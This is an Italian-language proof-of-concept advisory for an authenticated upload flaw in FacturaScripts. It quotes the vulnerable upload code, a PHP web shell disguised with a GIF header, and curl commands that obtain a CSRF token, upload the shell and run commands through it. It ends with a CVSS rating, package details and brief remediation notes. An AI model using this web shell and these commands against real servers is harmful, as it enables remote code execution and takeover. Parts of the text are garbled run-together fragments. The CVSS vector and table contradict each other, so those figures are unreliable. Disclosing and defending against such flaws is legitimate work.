
# Exploit RCE per FacturaScripts - Proof of Concept
Esiste una vulnerabilità di caricamento file non restrittivo autenticato nella funzionalità di caricamento immagini prodotto di FacturaScripts. Un attaccante con credenziali valide può caricare un file PHP camuffato da immagine GIF (utilizzando un header GIF89a), bypassando la validazione del tipo MIME. Il file viene salvato con la sua estensione originale, incluse estensioni eseguibili come .php.
La vulnerabilità esiste in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Nello specifico nel metodo addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php in una directory accessibile via webI file caricati vengono salvati in:
/MyFiles/YYYY/MM/X.php
Dove X è un ID auto-incrementale. Ciò consente l'esecuzione remota diretta:
http://target/MyFiles/2026/03/2.php?cmd=id
Lo sfruttamento riuscito consente:
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID dai cookie del browsercurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Punteggio Base: 6.3 (Moderato)
| Metrica | Valore |
|---|---|
| Vettore di Attacco | Rete (AV:N) |
| Complessità di Attacco | Bassa (AC:L) |
| Privilegi Richiesti | Bassi (PR:L) |
| Interazione Utente | Nessuna (UI:N) |
| Scope | Modificato (S:C) |
| Riservatezza | Alta (C:H) |
| Integrità | Alta (I:H) |
| Disponibilità | Alta (A:H) |
| Campo | Valore |
|---|---|
| Ecosistema | Packagist |
| ID CVE | CVE-2026-42879 |
| Nome Pacchetto | facturascripts/facturascripts |
| Versioni Interessate | <= 2025.81 |
| Versioni Corrette | Non ancora corrette |
| Corretto in | In sospeso |
.php, .phtml, .phar o altre estensioni eseguibili, indipendentemente dal tipo MIMEgetClientOriginalName(); assegnare un nome sicuro basato su UUID con un'estensione validatafileinfo invece di fidarsi del MIME fornito dal client